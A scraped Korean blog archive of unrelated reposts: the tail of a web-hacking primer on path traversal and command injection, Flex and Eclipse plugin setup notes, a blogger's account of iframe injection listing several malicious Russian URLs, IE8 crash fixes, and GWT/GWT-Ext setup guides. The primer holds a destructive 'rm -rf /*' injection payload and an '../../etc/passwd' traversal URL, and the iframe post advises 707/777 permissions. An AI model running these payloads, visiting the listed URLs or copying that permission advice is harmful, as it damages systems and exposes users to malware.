따라서 해당 프록시를 사용하는 사용자는 http://victim.com/index.html 에 접근할 때 마다 Getroot 라는 조작된 페이지를 보게 될 것 입니다. 매우 많은 사용자가 사용하는 프록시 서버라면 Cross-site scripting과 결합하여 모든 URL로부터 악성코드가 감염되도록 조작할 수 있을 것입니다.

2.4. Path Traversal
Path Traversal은 웹 페이지에서 전달 받은 인자를 그대로 Path로 사용할 때, 해당 값을 조작하여 원하는 파일에 접근할 수 있게 되는 방식입니다.

[정상적인 URL]

http://www.victim.com/OpenFile.jsp?text.txt


[공격]

http://www.victim.com/OpenFile.jsp?../../etc/passwd


정상적인 URL에서는 text.txt 와 같이 정상적인 파일에 접근하는 것으로 사용하지만, 공격자가 ../../을 사용하므로서 다른 시스템의 오픈되지 않은 다른 디렉토리에 접근할 수 있는 여지가 발생하는 것입니다. 이런 공격을 방어하기 위해서는 사용자의 입력을 그대로 시스템에서 사용하지 말아야 합니다. 이 공격 방식은 현재 거의 대부분 통하지 않겠지만 이를 응용한 다른 방식이 많이 통하고 있다는 것 꼭 명심하고, 사용자의 입력을 시스템에서 그대로 사용하는 것을 최대한 방지해야 합니다.

2.5. Commnad Injection
Commnad Injection은 웹 어플리케이션에서 사용자의 입력을 직접적인 Shell 명령으로 이용할 때 이를 조작하여 원하는 명령을 실행할 수 있는 공격 방식입니다.

[ListFile.php]
Passthru(ls $path);

위와 같이 사용자에게 path라는 인자를 받아서 이를 ls 에 사용하여 원하는 디렉토리의 파일 목록을 보여주는 코드가 있다고 가정하겠습니다. 프로그래머는 당연히 ls 명령이므로 보안상 문제가 없을것이라고 예상하겠지만 다음과 같은 입력을 하여 시스템에 모든 명령을 내릴 수 있습니다.

[공격]
http://www.victim.com/ListFile.php?paht="/etc/;rm -rf /*"

명령어와 명령어 사이에 ; 를 입력하면 두가지 명령어가 순차적으로 수행되는 쉘 기능이 있기 때문에 위 공격 코드는 ls /etc와 rm -rf /* 명령어 두개가 동시에 수행되는 것입니다. 이것은 매우 심각한 보안 문제를 일으킵니다. 이 문제를 해결하기 위해서는 사용자의 입력을 그대로 쉘 명령으로 수행하면 안됩니다. 쿼리문도 마찮가지이고, 어떤 상황에서도 모든 사용자의 입력은 한번 가공해서 처리해야 한다. 

이로서 거의 대부분의 웹 해킹 방식의 원리를 정리하였습니다. 그대로 사용하면 현재는 거의 통하지 않는 공격 방식이지만(실수가 많은 사이트는 아직도 많은 버그가 발견되곤 합니다.) 최신 해킹 기법도 이 틀에서 벗어나지 않고, 응용 수준에서 이루어 지기 때문에 이 원리만 파악하고 방어를 철저히 해놓아도 공격에 쉽게 노출되지 않을 것입니다.

감사합니다.





출처 : http://getroot.tistory.com
Posted by 1010
반응형

텍스트 큐브에 문제가 발생하여 제로보드로 옮기게 되었습니다. 그리고 아직 책을 쓰고 있어서 다음 강의를 진행하지 못하고 있습니다. 양해 바랍니다.

교재: Adobe Flex 3 실전 트레이닝 북 (번역서), Adobe Press

  • 원제: Adobe Flex 3 Training from the source
  • 지은이: 제프 태퍼, 마이클  라브리올라, 매튜 볼스, 제임스 탤벗
  • 옮긴이: 신호승(ACC멤버), 정선우(ACC멤버), 이원영
  • 출판사: 위키북스

개요

이 책은 실전 예제를 통해 단계적으로 Flex 3를 배울수 있도록 구성되어 있습니다. 온라인 식료품점을 만들어 가면서 Flex 3의 여러 특징들을 배우고 익힐 수 있습니다. 각 단계 별로 완성된 소스코드를 제공하기 때문에, 본인이 익히고자하는 부분에서 바로 시작할 수도 있습니다.

Flex 3를 처음 접하는 분들께 좋은 책이라 생각됩니다. 이 책을 처음부터 끝까지 한번 따라해보세요. Flex 3 기술 전반에 대해 이해할 수 있습니다. 또한, Flex Builder 툴 사용법도 자연스럽게 익힐 수 있습니다. 당장 Flex 프로젝트를 해야하는 개발자 분들께도 적극 추천합니다.

목차

* 동영상 강의는 "판도라TV"와 "Vimeo.com" 두 곳에 올려 놓았습니다. 두 곳 모두 HD 입니다.
* 판도라TV의 경우 [전체화면보기]에서 동영상 화면이 좀 거칠어 보이면, 화면에서 오른쪽 버튼을 클릭하여 부메뉴를 띄운 다음 [HD 부드럽게 처리하기] 를 선택하시면 됩니다.
* Firefox 또는 IE에서 [CTRL] + [-] 누르면 화면이 작아지고, [CTRL] + [=] 누르면 화면이 커집니다. 전체화면 보기를 하시거나 이런 방식으로 화면을 크게해서 보시면 됩니다.


출처 : http://www.eomjinyoung.com/xe/?mid=board&category=107&document_srl=114

Posted by 1010
반응형
출처 : http://www.7zelkova.pe.kr/704

eclipse의 새 버전 Galileo가 지난 6월 정식 릴리즈됐다.
이번에 컴퓨터 포맷하면서 전에 쓰던 Ganymede를 삭제하고 Galileo로 갈아탔다.

그런데 문제는 Flex Builder가 설치는 되는데 eclipse 에서 Flex Development Perspective가 안뜬다는 것!!
이거 왜 이래!! 무서워...

신버전을 사용하는 것의 무서움을 다시금 깨닫게 되었다.
뭐. 그래도 방법이 있겠지. 구글링을 시작했다.

오호~ Galileo에서 Flex Builder 적용 성공한 사람들의 이야기가 많이 나왔는데 왜 다 리눅스냐...ㅡ_ㅡ)
주욱 읽다보니 드디어 내가 원하는 windows에서의 적용 예가 나왔다.

영어로 되어있고, 그에 대한 설명과 해결법이 나와있는데 나 역시 대한민국 국민이기에 해결법만 찾아봤다.
해결법은 생각보다 매우 간단했다.


1. eclipse 가 설치(압축해제) 되어있는 폴더로 간다.
2. links 폴더로 간다. (없으면 하나 생성)
3. com.adobe.flexbuilder.feature.core.link 파일을 텍스트 에디터로 연다. (없으면 하나 생성)
4. 내용을 path=C:/Dev/Adobe/Flex Builder 3 Plug-in 으로 해준다 (Flex Builder Plug-in 파일들이 설치된 폴더 경로)
5. eclipse를 켜고 Window > Open Perspective > Other 에서 Flex Development 를 선택한다.
Posted by 1010
98..Etc/Etc...2009. 9. 29. 17:09
반응형

사용자 삽입 이미지

사용자 삽입 이미지

http://svestnik.ru:8080/index.php
http://tiqt.ru:8080/index.php
http://icq-mobila.ru:8080/index.php

http://tel-icq.ru:8080
http://age-bio.ru:8080/index.php
http://medical-static-center.ru:8080/index.php
http://bio-oib.ru:8080/index.php
http://yourbio.ru:8080/index.php
XSS 크로스사이트 스크립트라고합니다. 보안 쪽에서 사용하는 용어죠..
아이프레임으로 공격을 하는 것을 의미하는데...
지금 부터 제가 설명하는 말은 추측입니다... 저도 계정을 발급받아서 호스팅을 받는 입장이라서
루트 권한이 없어서 로그 검색 권한이 없어서 정확하게 어떤 루트로 해킹이 된 것인지 분석을 불가능합니다.
대충 상황을 보면...
이 해킹은 해킹 툴에 의한 해킹 같습니다.
그런데 기존의 XSS 해킹과는 다르게 직접 FTP 계정을 뚫고 들어와서 해커의 IP를 숨겨서
IP가 랜덤하게 로그에 찍히는 것 같습니다.
그래서 호스팅 담당자들도 해커를 찾아내기 힘들어 하는 것 같더군여,.
고가의 웹방화벽을 사용한다면 클릭 몇 번으로 막을 수 있겠지만 대부분 웹나이트나 모듈시큐어리티 같은 공개된 솔루션을 사용하니
URL 차단으로는 한계가 있죠
보시다시피 URL이 랜덤하게 아이프레임으로 들어오니까요..
처음에는 제가 러시아 사이트를 자주 방문해서 그런가 했습니다.
ru, su 도메인이 러시아 도메인이거든요
하지만, 검색을 해보니 다른 분들도 러시아 도메인으로 해킹을 당하는 것을 보고는 그런게 아니라고 생각했습니다.
JPEG 파일로 해킹이 가능하지만
링크가 아닌 다운로드해서 재 업로드는 해킹이 어렵다고 하네요
결론적으로 해킹 툴에 의한 실질적은 FTP 계정을 뚫고 들어오는 것 같습니다.
비밀번호는 6자리 이하는 간단하게 해킹 툴로 뚫기가 쉽습니다.
저는 기존에 8자리를 사용했는데 뚫렸더군요.
그래서 이번에 특수문자로 비밀번호를 만들었습니다.
그런데... 아이러니하게도 보안쪽에서는 특수문자가 해킹에 많이 사용되기에 정말로
보안을 어느 정도 아는 관리자는 특수문자를 사용 못하게 합니다.
역시나 제가 호스팅 받는 곳에서도 특수문자로 FTP 비밀번호를 초기에 못 만들게 되어 있더군요
변경 신청하니 가능은 하지만요.
특수문자로 DB 해킹이 손쉽게 이루어져서 그런가 봅니다.
결론적으로 러시아 도메인으로 아이프레임 공격이 계속 들어온다면
FTP 비밀번호를 어렵게 만드세요
물론 ssh
mysql 비밀번호도 변경하시구요
ssh 비밀번호는 로그인 후
# passwd 로 간편하게 변경이 가능합니다.
FTP, mysql 비밀번호는 허접한 호스팅은 변경신청해야할테도 나름 프로그래밍 되어 있는 곳은 바로 수정 신청이 가
능할 것 입니다.
해킹당하면 루트의 index.php 하단에 아이프레임이 들어갑니다. 그소스만 삭제하시고 덮어쓰기하세요
플러그인 폴더의 모든 index.php 파일도 변경이되는데 본인이 직접 검색해서 따로 올린 플로그인은 index.php 하단
수정하시고 나머지 플러그인은 텍스트큐브.org 에서 다운로드 받아서 덮어쓰기하세요...일일이 변경할려면 힘듭니다.
스킨디렉토리는 소스변경이 없습니다.주의 하실점은 원본 소스에서 변경하셨다면 원본 소스에 최신 변경된 정보가
있는게 아니고 customize밑에 1 디렉토리 밑에 있습니다. 이것을 본인이 사용하는 스킨 디렉토리로 복사해서
백업해두고 일괄 덮어쓰기하면되겠죠. 덮어쓰기 후에 퍼미션(권한)을 707이나 777로 주는 거 잊지 마시구요
안 주면 스킨 수정할 때 권한 없다고 나옵니다.
텍스트큐브에서 소스 다운로드 받아서루트의 index.php 그리고 플러그인 폴더와 attach 폴더 빼고 그리고 백업해둔
스킨 디렉토리 덮어쓰기하면 예전 모습으로 복원됩니다.
저도 일단 비밀번호 변경하고 추이를 지켜보는 중입니다.
하루에 2,3,4번 해킹당하던게 없습니다.
확실히 비밀번호 변경하니 사전파일 돌리는데 시간이 걸리는가 봅니다.
비밀번호 어렵게 변경하세요


출처 : http://comzil.com/
Posted by 1010
98..Etc/Etc...2009. 9. 29. 16:35
반응형
출처 : http://blogdoc.nate.com/269127


nternet Explorer 8 사용 중 mshtml.dll 오류가 발생하고 브라우저가 비정상적으로 종료되는 경우가 있습니다.
jscript.dll과 vbscript.dll 파일 버전이 낮아 발생하는 문제일 수 있습니다.
Internet Explorer 8에서는 Jscript 5.8 버전을 기본으로 사용합니다.
일부 응용 프로그램 등에서 낮은 버전의 Jscript를 설치할 경우 이러한 문제가 발생할 수 있습니다.
 
-. 해결 방법
Internet Explorer 8을 제거 후 다시 설치하여 이 문제를 해결할 수 있습니다.
1. '시작' -> '설정' -> '제어판'을 차례대로 클릭하세요.
2. 제어판 화면이 나타나면 '프로그램 추가/제거'를 클릭하세요.
3. 설치된 목록에서 'Windows Internet Explorer 8'을 찾아 제거를 하세요.
4. 설치 제거가 끝나면 나타나는 대화 상자에서 '지금 다시 시작'을 클릭하세요.
5. 컴퓨터가 다시 시작되면 아래 링크를 클릭하여 Internet Explorer 8 다운로드 사이트로 이동하여 다운로드 설치하세요.
Windows XP용 Windows Internet Explorer 8 다운로드 사이트
6. 설치 완료 화면이 나타나면 '지금 다시 시작'을 클릭하세요.
7. 컴퓨터가 다시 시작되면 Internet Explorer 8을 실행하고 문제가 해결되었는지 확인해 보세요.


------------------------------------------------


출처 : http://woongyee.egloos.com/1914653

제 경우는 ie8과 아래한글 충돌이더군요. ie8을 설치한 후 한글을 설치한 분은 특정 사이트(예: 옥션)에서 다음 그림과 같은 mshtml.dll 오류를 겪을 겁니다. (꼭 한글이 아니라도 ie8을 설치한 다음 ie8의 중요 파일을 바꾸는 프로그램을 설치했을 경우 이런 오류가 납니다.) 여기서 순서가 중요합니다. 한글을 먼저 설치한 다음 ie8을 설치한 분은 상관 없습니다.





해 결 방법은? ie8을 지우고 다시 설치하세요. 크크, 더 간단한 방법 없나고요? 없습니다. 검색해 보면 정상인 mshtml.dll 파일을 다른 컴에서 복사해서 덮어 쓰는 방법도 있긴 한데 이건 될 때도 있고 안 될 때도 있습니다.

원인은 뭘까요? 안녕하슈님의 < ie8 정식 오류 >란 글에 현수아비님이 쓴 덧글을 참고하면 다음과 같다고 합니다.

위 오류의 경우 IE8.0의 Jscript 버전과 한/글(오피스) 제품에 포함된 Jscript 버전이 달라서 발생하는 현상입니다. (참고로 IE 8.0이 나오기 전까지는 Jscript 최신 버전은 한/글(오피스)에서 제공하는 버전입니다.) 우선 IE 8.0에 포함된 Jscript버전을 MS에서 배포하지 않기 때문에 IE 8.0을 재설치하거나, 한/글 제품보다 늦게 설치하여 Jscript버전이 최신 버전으로 유지되도록 해야만 합니다. 가장 좋은 해결 방법은 Jscript을 업데이트해 줘야 하는데, MS에서 배포되기 전까지는 위 방법으로 해결을 하셔야만 합니다.
Posted by 1010
반응형
Posted by 1010
98..Etc/GWT2009. 9. 27. 18:48
반응형

Quick Start

This guide will walk you through creating and deploying your first web application. For more details, please see the User's Guide.

Installing the plugin

If you are already familiar with installing Eclipse plugins, you can just use the update site URL below for your version of Eclipse.

Eclipse 3.5 (Galileo)

http://dl.google.com/eclipse/plugin/3.5

Eclipse 3.4 (Ganymede)

http://dl.google.com/eclipse/plugin/3.4

Eclipse 3.3 (Europa)

http://dl.google.com/eclipse/plugin/3.3

For more details, see Eclipse 3.5 Installation Instructions, Eclipse 3.4 Installation Instructions, or Eclipse 3.3 Installation Instructions.

Note: Installation can take a long time on Eclipse 3.4 because Eclipse is looking for updates to the plugin's dependencies. You can speed up installation by temporarily turning off these update checks.

Creating your first Web Application

To create your first Web Application, select File > New > Web Application Project from the Eclipse menu.

In the New Web Application Project wizard, enter a name for your project and a java package name, e.g., com.example.mywebapp. Click Finish.

Congratulations, you now have an App Engine and GWT-enabled web application!

Running your Web Application locally

Right-click on your web application project and select Debug As > Web Application from the popup menu.

This action creates an Eclipse Web Application launch configuration for you and launches it. The web application launch configuration will start a server and the GWT hosted browser.

At this point, you can set breakpoints, inspect variables and modify code as you would normally expect from a Java Eclipse debugging session.

Deploying your Web Application

To deploy your web application, you will need to create an application from the App Engine Administration Console, at the following URL: https://appengine.google.com/. If you already have one, then you can skip this step.

Once you have an application ID, just right-click on your project, and select Google > App Engine Settings... from the context menu. Enter your application ID into the Application ID text box. Click OK.

Right-click on your project and select Google > Deploy to App Engine. In the resulting Deploy Project to Google App Engine dialog, enter your Google Account email and password.

Note: Don't worry - the plugin doesn't store your password anywhere.

Click Deploy.

Go to http://application-id.appspot.com/ to see your application

Posted by 1010
98..Etc/GWT2009. 9. 27. 18:41
반응형
지난번에는 Maven 에서 GWT 프로젝트를 만들어 보았습니다.
[Maven] GWT 프로젝트 만들기

이제는 만들어진 프로젝트를 가지고 GWT 에뮬레이터를 실행시켜보겠습니다.

지난번에 만들었던 프로젝트에서 조금 바뀌었습니다.
일단 gwt 모듈의 설정파일을 수정합니다.
/kr.co.vicki.gwt.mytodo/src/main/java/kr/co/vicki/gwt/mytodo/Application.gwt.xml


아래와 같이 수정을 해야만 GWT Ext 라이브러리를 사용할 수 있습니다.
  1. <module> 
  2.  
  3.       <!-- Inherit the core Web Toolkit stuff.                        --> 
  4.       <inherits name='com.google.gwt.user.User'/>       
  5.       
  6.       <!--  inherit css based theme --> 
  7.       <inherits name='com.google.gwt.user.theme.standard.Standard'/> 
  8.         
  9.       <!--  inherit GWT Ext --> 
  10.       <inherits name='com.gwtext.GwtExt'/> 
  11.  
  12.       <!-- Specify the app entry point class.                         --> 
  13.       <entry-point class='kr.co.vicki.gwt.mytodo.client.Application'/> 
  14.       
  15.       <!-- Specify the application specific style sheet.              --> 
  16.       <stylesheet src='Application.css' /> 
  17.         
  18.       <!--  GWT Ext stylesheet and script files --> 
  19.       <stylesheet src='js/ext/resources/css/ext-all.css' /> 
  20.       <script src="js/ext/adapter/ext/ext-base.js"/> 
  21.       <script src="js/ext/ext-all.js"/> 
  22.       
  23. </module> 



실제로 GWT Ext 에 사용하는 js, css, 이미지 파일들을 복사하는 작업을 해야합니다.
http://gwt-ext.com/download/


다운받은 gwtext-2.0.5.zip 의 압축을 풀고 해당 위치의 디렉토리들을 아래의 경로에 복사합니다.
/kr.co.vicki.gwt.mytodo/src/main/java/kr/co/vicki/gwt/mytodo/public
source 디렉토리는 필요없긴하나~ 검토의 귀차니즘으로 인해~ 그냥 복사함이 편합니다~


라이센스 문제로 인해 extjs 는 별도로 복사를 해야 합니다. ext-2.0.2.zip 의 압축을 풀고
위와 같은 위치해 해당 파일들과 디렉토리들을 복사합니다.
/kr.co.vicki.gwt.mytodo/src/main/java/kr/co/vicki/gwt/mytodo/public/js/ext



아래와 같이 구성이 되면됩니다.



이제 실제 구현될 파일을 수정해보도록 하겠습니다.
/kr.co.vicki.gwt.mytodo/src/main/java/kr/co/vicki/gwt/mytodo/client/Application.java
  1. package kr.co.vicki.gwt.mytodo.client;  
  2.  
  3. import com.google.gwt.core.client.EntryPoint;  
  4. import com.gwtext.client.core.RegionPosition;  
  5. import com.gwtext.client.widgets.Panel;  
  6. import com.gwtext.client.widgets.Viewport;  
  7. import com.gwtext.client.widgets.layout.BorderLayout;  
  8. import com.gwtext.client.widgets.layout.BorderLayoutData;  
  9.  
  10. /**  
  11.  * Entry point classes define <code>onModuleLoad()</code>.  
  12.  */ 
  13. public class Application implements EntryPoint {  
  14.  
  15.     /**  
  16.      * This is the entry point method.  
  17.      */ 
  18.     public void onModuleLoad() {  
  19.         Panel bodyPanel = new Panel();  
  20.         bodyPanel.setLayout(new BorderLayout());  
  21.           
  22.         Panel leftPanel = new Panel("메뉴");  
  23.         leftPanel.setWidth(250);  
  24.         leftPanel.setCollapsible(true);  
  25.         leftPanel.setHtml("여기는 메뉴 공간입니다.");  
  26.         bodyPanel.add(leftPanel, new BorderLayoutData(RegionPosition.WEST));  
  27.           
  28.         Panel centerPanel = new Panel();  
  29.         centerPanel.setHtml("여기는 센터입니다.");  
  30.         bodyPanel.add(centerPanel, new BorderLayoutData(RegionPosition.CENTER));  
  31.           
  32.         new Viewport(bodyPanel);  
  33.     }  
  34. }  


이제 에뮬레이터로 확인하는 일만 남았습니다.
프로젝트의 pom.xml 이 있는 위치에 콘솔창을 열고 아래와 같은 명령을 입력합니다.
(http://gwt-maven.googlecode.com/svn/docs/maven-googlewebtoolkit2-plugin/plugin-info.html 참조)

mvn googlewebtoolkit2:gwt

재대로 실행이 되지 않을 것입니다.


http://code.google.com/p/gwt-maven/wiki/M2FAQ 를 참조하여 다시 실행해보겠습니다.

mvn com.totsp.gwt:maven-googlewebtoolkit2-plugin:gwt




위와 같이 실행이 되면 성공입니다~~~



사실 처음 Maven 을 접했을때는 진입장벽이 있었는데 해보니깐 재미 있네요~~
Maven Plugin 도 기회가 된다면 만들어 보고 싶네요~~

출처 : http://vicki.tistory.com/536
Posted by 1010
98..Etc/GWT2009. 9. 27. 18:38
반응형

출처 : http://uratang.egloos.com/2136671


GWT 1.6이 나오면서 프로젝트 구조와 embeded Java Servlet (Jetty) server가 달라졌다.

게다가 Google에서 GWT를 위한 플러그인을 제공하므로 Cypal Studio를 사용할 필요가 없어졌으므로

Google 플러그인을 활용한 방법으로 수정한다.

참고: http://paulgrenyer.blogspot.com/2009/04/setting-up-gwt-ext-for-gwt-16-with.html


GWT - Google Web Toolkit(http://code.google.com/webtoolkit/)
  • 복잡한 AJAX 애플리케이션 개발을 손쉽게 해주는 프레임워크이다.
  • JAVA 코드로 작성하고 GWT 컴파일러가 자바코드를 자바스크립트로 변환한다. 모든 자바코드를 변환할 수 있는 것은 아니고, java.util, java.io 패키지의 기능들만 사용할 수 있다.
  • 구동되는 환경은 hosted mode와 web mode가 있다.

    • hosted mode: 컴파일 과정 없이 작성한 코드를 테스트하고 디버깅 할 수 있다. JVM환경의 GWT 브라우저에서 구동된다.
    • web mode: 컴파일러가 자바스크립트와 HTML파일을 생성하고, 이것을 웹브라우저로 구동한다.

[출처] GWT-Ext 개발 기초|작성자 또식이



GWT-Ext - GWT-Ext Widget Library(http://gwt-ext.com)
  • 강력하고 화려한 위젯 라이브러리. GWT와 자바스크립트 라이브러리 EXT(http://extjs.com/)를 활용하였다. http://extjs.com/에서 소개되는 Ext-GWT와는 다르다.

GWT-Ext with Eclipse

참고: http://code.google.com/eclipse/docs/getting_started.html

  • Eclipse plugin 설치
    Europa(3.3): http://dl.google.com/eclipse/plugin/3.3Ganymede(3.4): http://dl.google.com/eclipse/plugin/3.4
  • 이클립스 메뉴에서 File -> New -> Web Application Project 선택
  • 프로젝트와 패키지 이름을 넣고, Use Google App Engine 체크박스를 해제한다.
  • Run As -> Run Configurations에서 Automatically Select Unused Port의 체크박스를 체크한다.
  • 여기까지는 일반적인 GWT 애플리케이션의 실행 방법이다.
  • 다음 라이브러리를 다운로드 한다.

    • GWT-Ext(http://gwt-ext.com/download/)
      압축을 풀어 gwtext.jar파일을 프로젝트의 war\WEB-INF\lib 디렉토리에 넣는다.
    • war 디렉토리 아래에 js 디렉토리를 만든다.
    • Ext(http://gwt-ext.com/download/) 여기 링크에서 화면 아래쪽의 Ext 2.0.2 here의 here를 클릭해서 다운받는다.
      압축을 풀어 js 디렉토리에 넣는다.(디렉토리 2개 파일 4개만 하면 된다. (adapter/, resources/, ext-all.js, ext-all-debug.js, ext-core.js, ext-core-debug.js))
      (디렉토리가 이런 구조가 되도록 주의 js/ext-2.0.2/resources/...)
  • 프로젝트에 gwtext.jar를 추가한다.
    프로젝트를 우클릭한 후,
    Properties -> Java Build Path -> Libraries에서 Add JARs를 클릭한 다음 방금 넣었던 gwtext.jar를 선택한다.
  • oo(프로젝트 이름).gwt.xml 파일에 아래 굵은글씨 부분을 추가한다.
    <inherits name='com.google.gwt.user.User'/>
    <inherits name='com.gwtext.GwtExt' /> ...
    <entry-point class='com.megadeth.client.MegaDeth'/>
    <stylesheet src="../js/ext-2.0.2/resources/css/ext-all.css" />
    <script src="../js/ext-2.0.2/adapter/ext/ext-base.js" />
    <script src="../js/ext-2.0.2/ext-all.js" />
  • oo.client 패키지의 모듈 파일의 일부를 아래와 같이 수정한다.
    public void onModuleLoad(){
      Panel mainPanel = new Panel();
      mainPanel.setTitle("Hello World!");
      mainPanel.setHeight(300);
      mainPanel.setWidth(500);  
      RootPanel.get().add(mainPanel);
    }

  • war 디렉토리 아래의 html파일의 아래 부분을 삭제한다.
    <h1>Web Application Starter Project</h1>
    <table align="center">
      <tr>
        <td colspan="2" style="font-weight:bold;">Please enter your name:</td>
      </tr>
      <tr>
        <td id="nameFieldContainer"></td>
        <td id="sendButtonContainer"></td>
      </tr>
    </table>

  • 플러그인이 제공하는 Run As Web Application을 실행해 보면 작동하는 화면이 보인다.
  • 리모트 서비스를 만들어 본다. oo.client 패키지의 모듈 파일을 아래와 같이 수정한다.
       private Label label = new Label("Today is: ");
       private final GreetingServiceAsync greetingService = GWT.create(GreetingService.class);
        public void onModuleLoad() {
            Button button = new Button("Get Date");
            Panel panel = new Panel();      
            button.addListener(new ButtonListenerAdapter(){
              public void onClick(Button button, EventObject e) {
                    greetingService.getDate(new NumberCallback());
                }
            });     
            panel.add(label);
            panel.add(button);
            RootPanel.get().add(panel);
        }
        public class NumberCallback implements AsyncCallback {
            public void onFailure(Throwable error) {
                MessageBox.alert("Getting date failed");
            }
            public void onSuccess(Object resp) {
                label.setText("Today is: " + resp.toString());
            }
        }

  • GreetingService에 다음 코드를 추가한다.
    String getDate();
  • GreetingServiceAsync에 다음 코드를 추가한다.
    void getDate(AsyncCallback<String> numberCallback);
  • GreetingServiceImpl에 다음 코드를 추가한다.
    public String getDate() {
         Date date = new Date();
         date.setTime(System.currentTimeMillis());
         SimpleDateFormat sDate = new SimpleDateFormat("MM월 dd일 HH시 mm분 ss초");
         return sDate.format(date);
     }
  • Cypal studio는 OO.gwt.xml, web.xml 파일을 수정하고, RemoteService와 Async파일의 메소드를 자동으로 맞춰주는 기능이 있다.
    그 외에는 Google 플러그인과 큰 기능차이가 없다.

    [출처] GWT-Ext 개발 기초|작성자 또식이

Posted by 1010
98..Etc/GWT2009. 9. 27. 18:35
반응형

Home

GWT-Ext is a powerful widget library that provides rich widgets like Grid with sort, paging and filtering, Tree’s with Drag & Drop support, highly customizable ComboBoxes, Tab Panels, Menus & Toolbars, Dialogs, Forms and a lot more right out of the box with a powerful and easy to use API. It uses GWT and Ext.

GWT-Ext 2.0.5 has been released. Grab the distribution from the Downloads area.  GWT-Ext 2.0.5 supports GWT 1.5 final (1.5.2), Firefox3 and Chrome.

Note that GWT-Ext only supports Ext 2.0.2 that has a LGPL license option.

Check out the wiki for setup and install instructions.

GWT-Ext 2.0 Showcase

Posted by 1010
98..Etc/GWT2009. 9. 27. 18:16
반응형

* 이클립스 3.5 를 기준으로 작성되었습니다.

1. 이클립스 3.5 다운로드 및 압축풀기
- http://www.eclipse.org/downloads/

2. Google Web Toolkit 다운로드
- http://code.google.com/intl/ko/webtoolkit/

3. GWT 이클립스 플러그인 설치
[Help] > [Install New Software...] 메뉴 선택
Work with 에 http://download.instantiations.com/D2GWT/continuous/latest/update/E-3.5/ 입력한 후 엔터키를 누른다.
GWT Desinger를 선택한 후 설치를 진행한다.
 

4. 다음과 같이 Dynamic Web Project를 생성한다.
5. 생성된 프로젝트를 GWT 프로젝트로 변환한다.
6. 다음과 같이 새로운 GWT Module을 추가한다. 

7. Run Configurations를 통해서 6번에서 추가한 모듈을 다음과 같이 GWT Application으로 설정한다.

8. 7에서 Run 버튼을 클릭하면 첫 GWT Application이 실행된다.

Posted by 1010
98..Etc/GWT2009. 9. 27. 17:32
반응형
Posted by 1010
98..Etc/GWT2009. 9. 27. 17:26
반응형

구글의 Plug-in은 위와 같이 Eclipse의 세가지 버전(3.3, 3.4, 3.5)을 지원한다.
이중 3.5버전인 Galileo는 최근에 구글에서 Plug-in을 제공하기 시작했다. (얼마전까지는은 Eclipse 3.5버전에서는 사용하지 못했다는 말이다.)
 
어떻게 설치하고, 환경을 만드는지는 "Google App Engine Java SDK 1.2.1 Released" 의 글을 참조하면 된다. (처음 Eclipse를 사용하는  사람은 "Google App Engine SDK 설치 및 실행"를 참조)

Eclipse 3.5인 Galileo는 이전 버전들과 Plug-in 설치 방식이 약간 달라졌다.
이전 3.4 버전에서 제공 하던 방식은 플러그인을 찾는 방식이 편하지 많은 않았다. 왜냐하면, 백그라운드에서 사용자가 입력한 플러그인 이름을 실시간으로 키 입력시마다 추천해 주는 방식을 제공했는데, 네트워크에서 대기하는 시간에 대한 부담을 사용자가 가져야 했기 때문이다. 3.5 버전에서는 이러한 것들이 개선되어 졌다.

아래는 Eclipse 3.5에 GAE 플러그인을 설치한 것들을 캡쳐한 화면이다.

Eclipse 3.5의 Help > Install New Software... 를 클릭하면 아래 화면이 나타난다.


위 화면에서 상단 오른쪽에 있는 "Add..." 버튼을 클릭하면 창이 나타나면 아래와 같이 "Name"과 "Location"을 입력하고 "OK"버튼을 누른다. (Name은 사용자가 원하는 이름을 넣으면 된다.)


입력한 주소(Location) 정보가 정확하면, 아래과 같이 설치 가능한 플러그인들 목록이 표시된다.
모두 설치를 할것이므로 아래처럼 모두 체크해서 선택하면 된다. 그리고 "Next"버튼을 클릭한다.


위에서 "Next" 버튼을 클릭하면, 아래와 같이 상세 정보들이 나타난다. 다시 "Next"버튼을 클릭한다.

설치할 플러그인들에 대한 Licese 정책에 동의 할 것인지를 묻는 창인데, 당연히 동의해야 한다.
만약 동의하지 않는다면, 설치가 안될테니까... ^^;;;

위에서 동의하고 "Finish"버트을 누루면, 아래와 같이 설치가 진행된다.



출처 : http://happyzoo.tistory.com/169
Posted by 1010
98..Etc/GWT2009. 9. 27. 16:55
반응형

GWT로 뭐 하나 개발할 일이 있어서, 이왕 하는거 정리도 할겸, 모르는 분들이 쉽게 할 수 있도록 할 겸, 정리한번 해 봅니다. 예전 안드로이드 처럼 연재가 끊길 수도 있으나, GWT는 이미 다 알고 있는 상태라~~~.

자~ 이제 시작하기 전에 준비물을 준비하자.

1. Java JDK 1.5 이상 (http://java.sun.com 에서 알아서 받으세요)
2. Eclipse 3.3 이상에 WebTools Platform 2.0 포함된거 (이것도 http://www.eclipse.org 에서 알아서 받으세요.)
3. Cypal Studio for GWT (요건 http://www.cypal.in/studio 에서 다운로드 받으면 됩니다.)
4. GWT 라이브러리 (요거는 구글에서 GWT 라고 치면 가장 첨에 나온다. 앞으로도 가장 첨에 안나올 리가 없다.)

Cypal 관련된 시스템 요구사항은 http://www.cypal.in/studiodocs#requirements 를 참조하기 바란다.

일단 자바랑 Eclipse 3.3은 다운로드 받아서 설치했다고 치고, Cypal studio랑 GWT 라이브로도 다운로드 받았다고 치고 시작하겠다.

다음의 순서에 따라서 세팅해 주기 바란다.

1. Cypal studio를 다운로드 받아서 압축파일을 풀면 4개의 jar 파일이 있는데, 그 파일을 이클립스 설치 위치/plugin 폴더에 몽땅  복사하고, 이클립스를 띄운다. (이클립스가 이미 띄워져 있는 상황에서는 다시 띄워라)

2. 이클립스를 띄웠으면, 메뉴에 Window --> Preferences를 눌러 Cypal Studio 라는걸 찾는다. (없으면 잘 찾아보기 바란다.)

3. Cypal Studio를 눌러서 보면, GWT 라이브러리의 Home 위치를 지정하는 입력 상자가 상단에 있는데 거기에 GWT 압축을 해제한 디렉토리를 지정해준다. (doc, samples 폴더가 하위에 있는 위치를 지정하면 된다.)

4. 이제 이클립스 플젝을 맹글어야 하는데, New project... 을 누른 후 플젝 종류를 선택하는 화면에서 Dynamic Web Project를 클릭한 후 Next를 누른다.

5. 그 다음에서 프로젝트 이름을 지정한 이후에 Configuration 지정하는 부분에서 drop down 메뉴를 내려서 "Cypal Studio for GWT"를 선택해야만 한다. (반드시 !!!!!)

6. 그 다음에 finish를 누르면 GWT를 맹글 수 있는 프로젝트 생성 및 초기 설정이 완료된다.


다음에는 GWT 샘플을 돌려보면서 GWT를 어떻게 사용할 수 있는지 알아보자.

백문이 불여일견이므로, GWT 샘플을 한번 돌려보자.

